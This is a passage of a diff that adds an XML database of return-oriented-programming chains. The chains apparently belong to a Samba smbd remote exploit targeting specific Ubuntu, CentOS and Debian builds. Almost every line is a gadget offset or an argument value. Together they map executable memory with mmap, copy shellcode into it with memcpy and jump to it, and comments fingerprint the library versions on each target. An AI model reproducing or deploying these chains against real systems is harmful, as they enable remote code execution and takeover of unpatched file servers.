+ ii libgcrypt11 1.5.0-1 LGPL Crypto library - runtime library
78
+ b69e3000-b6a65000 r-xp 00000000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
79
+ b6a65000-b6a66000 r**p 00081000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
80
+ b6a66000-b6a68000 rw-p 00082000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
81
+ -->
82
+
83
+ <gadgets base="0">
84
+ <gadget offset="0x000048ee">pop ebx ; ret</gadget>
85
+ <gadget offset="0x00082ff4">offset of .got.plt section</gadget>
86
+ <gadget offset="0x0006933f">pop eax; ret</gadget>
87
+ <gadget offset="0x000830a4">mmap@got - 4</gadget>
88
+ <gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
89
+ <gadget offset="0x00007d79">jmp eax</gadget>
90
+ <gadget offset="0x00005646">add esp, 0x1C; ret || mmap ret, skip overt mmap arguments</gadget>
91
+ <gadget value ="0x00000000">mmap arg : addr</gadget>
92
+ <gadget value ="0x00001000">mmap arg : size</gadget>
93
+ <gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
94
+ <gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
95
+ <gadget value ="0xffffffff">mmap arg : filedes </gadget>
96
+ <gadget value ="0x00000000">mmap arg : off_t </gadget>
97
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
98
+ <gadget offset="0x0006fe61">pop edx ; inc ebx ; ret</gadget>
99
+ <gadget offset="0x00084000">edx = writable location, in GOT</gadget>
100
+ <gadget offset="0x00046dcd">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; ret || save EAX (mmaped addr) in GOT</gadget>
101
+ <gadget offset="0x00008532">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
102
+ <gadget offset="0x000438ad">mov eax, ecx ; pop ebp ; ret</gadget>
103
+ <gadget value ="0x00000000">junk for ebp</gadget>
104
+ <gadget offset="0x000056e8">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
105
+ <gadget offset="0x0006933f">pop eax ; ret</gadget>
106
+ <gadget offset="0x00084100">eax = writable location, in GOT</gadget>
107
+ <gadget offset="0x000048ee">pop ebx ; ret</gadget>
108
+ <gadget offset="0x00084100">ebx = writable location, in GOT</gadget>
109
+ <gadget offset="0x0004cccf">push esp ; add dword [eax], eax ; add byte [ebx+0x5E], bl ; pop edi ; pop ebp ; ret || edi = esp</gadget>
110
+ <gadget value ="0x00000000">junk for ebp</gadget>
111
+ <gadget offset="0x00020bad">mov eax, edi ; pop ebx ; pop esi ; pop edi ; ret</gadget>
112
+ <gadget value ="0x00000000">junk for ebx</gadget>
113
+ <gadget value ="0x00000048">esi = value to add to esp to point to shellcode</gadget>
114
+ <gadget value ="0x00000000">junk for edi</gadget>
115
+ <gadget offset="0x0001ffef">xchg eax, ebx ; ret</gadget>
116
+ <gadget offset="0x0000c39c">add ebx, esi ; ret || ebx = esp + XX == src in memcpy</gadget>
117
+ <gadget offset="0x0006933f">pop eax; ret</gadget>
118
+ <gadget offset="0x00083024">memcpy@got - 4</gadget>
119
+ <gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
120
+ <gadget offset="0x0001ffef">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
121
+ <gadget offset="0x00004803">pop esi ; ret</gadget>
122
+ <gadget offset="0x00082ff4">esi = offset of .got.plt section</gadget>
123
+ <gadget offset="0x00007af3">pop edi ; pop ebp **1** ; ret</gadget>
124
+ <gadget offset="0x000104c5">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
125
+ <gadget value ="0x00000000">junk for ebp **1** </gadget>
126
+ <gadget offset="0x0001fdfa">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
127
+ <gadget value ="size">payload size</gadget>
128
+ </gadgets>
129
+ </rop>
130
+ <rop>
131
+ <compatibility>
132
+ <target>Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2</target>
133
+ </compatibility>
134
+
135
+ <!--
136
+ dpkg -l|grep libgcr
137
+ ii libgcrypt11 1.4.6-4ubuntu2 LGPL Crypto library - runtime library
138
+ b69f8000-b6a69000 r-xp 00000000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
139
+ b6a69000-b6a6a000 r**p 00070000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
140
+ b6a6a000-b6a6c000 rw-p 00071000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
141
+
142
+ we arrive on rop chain with pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
143
+ 4 first pops are after pop esp
144
+ -->
145
+ <gadgets base="0">
146
+ <gadget offset="0x00071ff4">ebx = offset of .got.plt section</gadget>
147
+ <gadget value ="0x00000000">esi = junk to be skipped over</gadget>
148
+ <gadget value ="0x00000000">edi = junk to be skipped over</gadget>
149
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
150
+ <gadget offset="0x000641ff">pop eax; ret</gadget>
151
+ <gadget offset="0x00072010">mmap@got - 4</gadget>
152
+ <gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
153
+ <gadget offset="0x00007f19">jmp eax</gadget>
154
+ <gadget offset="0x000046b1">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
155
+ <gadget value ="0x00000000">mmap arg : addr</gadget>
156
+ <gadget value ="0x00001000">mmap arg : size</gadget>
157
+ <gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
158
+ <gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
159
+ <gadget value ="0xffffffff">mmap arg : filedes </gadget>
160
+ <gadget value ="0x00000000">mmap arg : off_t </gadget>
161
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
162
+ <gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
163
+ <gadget offset="0x00073000">edx = writable location, in GOT</gadget>
164
+ <gadget offset="0x00041b85">mov dword [edx], eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
165
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
166
+ <gadget offset="0x0005822d">esi = pop ebx ; pop esi ; pop edi ; ret</gadget>
167
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
168
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
169
+ <gadget offset="0x0005d903">xchg eax, edx ; ret || edx = eax , after memcpy, ret on edx, ie mmaped addr</gadget>
170
+ <gadget offset="0x00043cd5">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000008 ; call esi || after call, esi = esp </gadget>
171
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
172
+ <gadget offset="0x00005c60">xchg eax, esi ; ret</gadget>
173
+ <gadget offset="0x0005c45c">pop ecx ; ret</gadget>
174
+ <gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
175
+ <gadget offset="0x00053dc4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
176
+ <gadget value ="0x00000000">edi = junk to be skipped over</gadget>
177
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
178
+ <gadget offset="0x0005c6e9">xchg eax, ebx ; ret || ebx = src in memcpy</gadget>
179
+ <gadget offset="0x000641ff">pop eax; ret</gadget>
180
+ <gadget offset="0x00072ffc">writable add in GOT - 4</gadget>
181
+ <gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = mmaped addr</gadget>
182
+ <gadget offset="0x0005cd54">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
183
+ <gadget offset="0x000641ff">pop eax; ret</gadget>
184
+ <gadget offset="0x0007204c">memcpy@got - 4</gadget>
185
+ <gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
186
+ <gadget offset="0x0005c6e9">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
187
+ <gadget offset="0x00060e5a">pop esi ; ret</gadget>
188
+ <gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
189
+ <gadget offset="0x00007d05">pop edi ; pop ebp **1** ; ret</gadget>
190
+ <gadget offset="0x0005822d">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
191
+ <gadget value ="0x00000000">junk for ebp **1** </gadget>
192
+ <gadget offset="0x0005baca">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
193
+ <gadget value ="size">payload size</gadget>
194
+ </gadgets>
195
+ </rop>
196
+
197
+ <rop>
198
+ <compatibility>
199
+ <target>Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8</target>
200
+ </compatibility>
201
+
202
+ <!--
203
+ dpkg -l|grep libgcrypt
204
+ ii libgcrypt11 1.4.5-2ubuntu1 LGPL Crypto library - runtime library
205
+ b6a20000-b6a91000 r-xp 00000000 08:01 17247 /lib/libgcrypt.so.11.5.3
206
+ b6a91000-b6a92000 r**p 00070000 08:01 17247 /lib/libgcrypt.so.11.5.3
207
+ b6a92000-b6a94000 rw-p 00071000 08:01 17247 /lib/libgcrypt.so.11.5.3
208
+ -->
209
+
210
+ <gadgets base="0">
211
+ <gadget offset="0x00004634">pop ebx ; pop ebp ; ret</gadget>
212
+ <gadget offset="0x00071ff4">offset of .got.plt section</gadget>
213
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
214
+ <gadget offset="0x0006421f">pop eax; ret</gadget>
215
+ <gadget offset="0x00072010">mmap@got - 4</gadget>
216
+ <gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
217
+ <gadget offset="0x0000922c">jmp eax</gadget>
218
+ <gadget offset="0x00004631">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
219
+ <gadget value ="0x00000000">mmap arg : addr</gadget>
220
+ <gadget value ="0x00001000">mmap arg : size</gadget>
221
+ <gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
222
+ <gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
223
+ <gadget value ="0xffffffff">mmap arg : filedes </gadget>
224
+ <gadget value ="0x00000000">mmap arg : off_t </gadget>
225
+ <gadget value ="0x00000000">junk to be skipped over</gadget>
226
+ <gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
227
+ <gadget offset="0x00073000">edx = writable location, in GOT</gadget>
228
+ <gadget offset="0x000417af">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
229
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
230
+ <gadget offset="0x0005d923">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
231
+ <gadget offset="0x00060e7a">pop esi ; ret</gadget>
232
+ <gadget offset="0x0005c47b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
233
+ <gadget offset="0x0003dbd8">push esp ; and al, 0x0C ; call esi</gadget>
234
+ <gadget offset="0x0006421f">pop eax ; ret</gadget>
235
+ <gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
236
+ <gadget offset="0x00053c64">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
237
+ <gadget value ="0x00000000">edi = junk to be skipped over</gadget>
238
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
239
+ <gadget offset="0x00043999">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
240
+ <gadget offset="0x0006421f">pop eax; ret</gadget>
241
+ <gadget offset="0x00072094">memcpy@got - 4</gadget>
242
+ <gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
243
+ <gadget offset="0x00043999">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
244
+ <!-- set ecx to same value than edx -->
245
+ <gadget offset="0x0006ea7f">xchg eax, esi ; ret || save eax</gadget>
246
+ <gadget offset="0x0006421f">pop eax; ret</gadget>
247
+ <gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
248
+ <gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
249
+ <gadget offset="0x0005cd74"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
250
+ <gadget offset="0x0006ea7f"> xchg eax, esi ; ret ; || restore eax</gadget>
251
+ <gadget offset="0x00060e7a">pop esi ; ret</gadget>
252
+ <gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
253
+ <gadget offset="0x00007e05">pop edi ; pop ebp **1** ; ret</gadget>
254
+ <gadget offset="0x00058245">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
255
+ <gadget value ="0x00000000">junk for ebp **1** </gadget>
256
+ <gadget offset="0x000128cc">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
257
+ <gadget value ="size">payload size</gadget>
258
+ </gadgets>
259
+
260
+
261
+ </rop>
262
+
263
+ <rop>
264
+ <compatibility>
265
+ <target>3.5.10-0.107.el5 on CentOS 5</target>
266
+ </compatibility>
267
+
268
+ <!--
269
+ yum list |grep libgcrypt
270
+ libgcrypt.i386 1.4.4-5.el5 installed
271
+ 02c63000-02ce1000 r-xp 00000000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
272
+ 02ce1000-02ce4000 rwxp 0007d000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
273
+ section is writable and executable, we'll copy the shellcode over there instead of using mmap
274
+ -->
275
+
276
+ <gadgets base="0">
277
+ <gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
278
+ <gadget offset="0x0005e842">pop eax ; pop ebx ; pop esi ; pop edi ; ret || eax = ret eip from call esi, ebx = esp, esi = edi = junk</gadget>
279
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
280
+ <gadget offset="0x00028374">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000007 ; call esi</gadget>
281
+ <gadget value ="0x00000000">esi = junk to be skipped over</gadget>
282
+ <gadget value ="0x00000000">edi = junk to be skipped over</gadget>
283
+ <gadget offset="0x00062c29">xchg eax, ebx ; ret || eax = esp</gadget>
284
+ <gadget offset="0x0006299c">pop ecx ; ret</gadget>
285
+ <gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
286
+ <gadget offset="0x0005a44d">add ecx, eax ; mov eax, ecx ; ret || eax = ecx = shellcode</gadget>
287
+ <gadget offset="0x0006f5a1">pop edx ; inc ebx ; ret || set edx = to dst in memcpy for ret after pushad</gadget>
288
+ <gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
289
+ <gadget offset="0x0006a73f">pop eax ; ret</gadget>
290
+ <gadget offset="0x0007effc">memcpy@got - 4</gadget>
291
+ <gadget offset="0x00015e47">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
292
+ <gadget offset="0x00062c29">xchg eax, ebx ; ret || ebx = @memcpy</gadget>
293
+ <gadget offset="0x0001704e">mov eax, ecx ; ret || eax = ecx = src in memcpy</gadget>
294
+ <gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
295
+ <gadget offset="0x0007ef54">esi = offset of .got.plt section</gadget>
296
+ <gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
297
+ <gadget offset="0x0006299c">pop ecx ; ret</gadget>
298
+ <gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
299
+ <gadget offset="0x00007a2b">pop edi ; pop ebp ** 1 **; ret</gadget>
300
+ <gadget offset="0x00004276">(P) pop ebx ; pop esi ; pop ebp ; ret</gadget>
301
+ <gadget value ="0x00000000">junk for ebp **1**</gadget>
302
+ <gadget offset="0x0006200a">pushad ; ret</gadget>
303
+ <gadget value ="size">payload size</gadget>
304
+ </gadgets>
305
+
306
+
307
+ </rop>
308
+
309
+
310
+
311
+
312
+
313
+ <!-- ROP CHAIN for smbd 2:3.5.11~dfsg-1ubuntu2
314
+
315
+ <compatibility>
316
+ <target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
317
+ </compatibility>
318
+
319
+ <gadgets base="0">
320
+ <gadget offset="0x0000f3b1">pop eax; ret</gadget>
321
+ <gadget offset="0x00991ff0">mmap64@got</gadget>
322
+ <gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
323
+ <gadget offset="0x008c8997">jmp eax</gadget>
324
+ <gadget offset="0x0009ee21">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
325
+ <gadget value ="0x00000000">mmap arg : addr</gadget>
326
+ <gadget value ="0x00001000">mmap arg : size</gadget>
327
+ <gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
328
+ <gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
329
+ <gadget value ="0xffffffff">mmap arg : filedes </gadget>
330
+ <gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
331
+ <gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
332
+ <gadget offset="0x0034fbd2">pop edx ; ret</gadget>
333
+ <gadget offset="0x0099a000">edx = writable location, in GOT</gadget>
334
+ <gadget offset="0x0034c2bc">mov dword [edx], eax ; ret; || save EAX (mmaped addr) in GOT</gadget>
335
+ <gadget offset="0x001fc04c">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
336
+ <gadget offset="0x000a1d24">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
337
+ <gadget offset="0x001e0d59">push esp ; pop ebx ; pop esi ; ret || ebx = esp</gadget>
338
+ <gadget value ="0x00000000">junk for esi</gadget>
339
+ <gadget offset="0x0036fd9a">pop ebp ; ret</gadget>
340
+ <gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
341
+ <gadget offset="0x001a73b2">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
342
+ <gadget offset="0x0008c5ac">pop eax; ret</gadget>
343
+ <gadget offset="0x00991904">memcpy@got</gadget>
344
+ <gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
345
+ <gadget offset="0x001726b5">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
346
+ <gadget offset="0x006a3bba">pop edi ; pop ebp **1** ; ret</gadget>
347
+ <gadget offset="0x000b64ec">add esp, 0x4 ; pop esi ; pop edi ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
348
+ <gadget value ="0x00000000">junk for ebp **1** </gadget>
349
+ <gadget offset="0x0002ab2c">pushad, ret</gadget>
350
+ <gadget value ="size">payload size</gadget>
351
+ </gadgets>
352
+
353
+
354
+ ROP CHAIN for smbd 2:3.5.8~dfsg-1ubuntu2
355
+ <compatibility>
356
+ <target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
357
+ </compatibility>
358
+
359
+ <gadgets base="0">
360
+ <gadget offset="0x0000f445">pop eax; ret</gadget>
361
+ <gadget offset="0x008c1008">mmap64@got</gadget>
362
+ <gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
363
+ <gadget offset="0x0009e8e4">jmp eax</gadget>
364
+ <gadget offset="0x0009db61">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
365
+ <gadget value ="0x00000000">mmap arg : addr</gadget>
366
+ <gadget value ="0x00001000">mmap arg : size</gadget>
367
+ <gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
368
+ <gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
369
+ <gadget value ="0xffffffff">mmap arg : filedes </gadget>
370
+ <gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
371
+ <gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
372
+ <gadget offset="0x001f6142">pop edx ; ret</gadget>
373
+ <gadget offset="0x008c9000">edx = writable location, in GOT</gadget>
374
+ <gadget offset="0x00347b8c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
375
+ <gadget value ="0x00000000">junk for ebp</gadget>
376
+ <gadget offset="0x0021d553">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
377
+ <gadget offset="0x001b1fe0">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
378
+ <gadget offset="0x000e817f">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
379
+ <gadget value ="0x00000000">junk for ebp</gadget>
380
+ <gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = esp</gadget>
381
+ <gadget offset="0x00277540">pop ebp ; ret</gadget>
382
+ <gadget value ="0x0000003c">value to add to esp to point to shellcode</gadget>
383
+ <gadget offset="0x0011d3a6">add eax, ebp ; mov ebx, 0x81FFF807 ; ret </gadget>
384
+ <gadget offset="0x0000cdea">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
385
+ <gadget offset="0x0000f445">pop eax; ret</gadget>
386
+ <gadget offset="0x008c0964">memcpy@got</gadget>
387
+ <gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
388
+ <gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
389
+ <gadget offset="0x0009ee99">pop edi ; pop ebp **1** ; ret</gadget>
390
+ <gadget offset="0x00148cc6">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
391
+ <gadget value ="0x00000000">junk for ebp **1** </gadget>
392
+ <gadget offset="0x0000dbcf">pushad, ret</gadget>
393
+ <gadget value ="size">payload size</gadget>
394
+ </gadgets>
395
+ -->
396
+ <!-- ROP CHAIN for smbd 2:3.5.6~dfsg-3squeeze6
397
+ <compatibility
398
+ <target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
399
+ </compatibility>
400
+ <gadgets base="0">
401
+ <gadget offset="0x00021cd9">pop eax; ret</gadget>
402
+ <gadget offset="0x008cf86c">mmap64@got</gadget>
403
+ <gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
404
+ <gadget offset="0x000234e5">jmp eax</gadget>
405
+ <gadget offset="0x000b0331">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
406
+ <gadget value ="0x00000000">mmap arg : addr</gadget>
407
+ <gadget value ="0x00001000">mmap arg : size</gadget>
408
+ <gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
409
+ <gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
410
+ <gadget value ="0xffffffff">mmap arg : filedes </gadget>
411
+ <gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
412
+ <gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
413
+ <gadget offset="0x0001cf12">pop edx ; ret</gadget>
414
+ <gadget offset="0x008d6000">edx = writable location, in GOT</gadget>
415
+ <gadget offset="0x00353f4c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
416
+ <gadget value ="0x00000000">junk for ebp</gadget>
417
+ <gadget offset="0x000b98e9">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
418
+ <gadget offset="0x006bffd2">mov edx, ecx ; mov eax, edx ; pop ebp ; ret || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
419
+ <gadget value ="0x00000000">junk for ebp</gadget>
420
+ <gadget offset="0x003660e4">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
421
+ <gadget value ="0x00000000">junk for ebp</gadget>
422
+ <gadget offset="0x00394107">pop ebp ; ret</gadget>
423
+ <gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
424
+ <gadget offset="0x0017892d">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
425
+ <gadget offset="0x00021cd9">pop eax; ret</gadget>
426
+ <gadget offset="0x008cf1e8">memcpy@got</gadget>
427
+ <gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
428
+ <gadget offset="0x0001f666">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
429
+ <gadget offset="0x000b9ac5">pop edi ; pop ebp **1** ; ret</gadget>
430
+ <gadget offset="0x0033e7ea">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
431
+ <gadget value ="0x00000000">junk for ebp **1** </gadget>
432
+ <gadget offset="0x00020453">pushad, ret</gadget>
433
+ <gadget value ="size">payload size</gadget>
434
+ </gadgets>
435
+ -->
436
+ </db>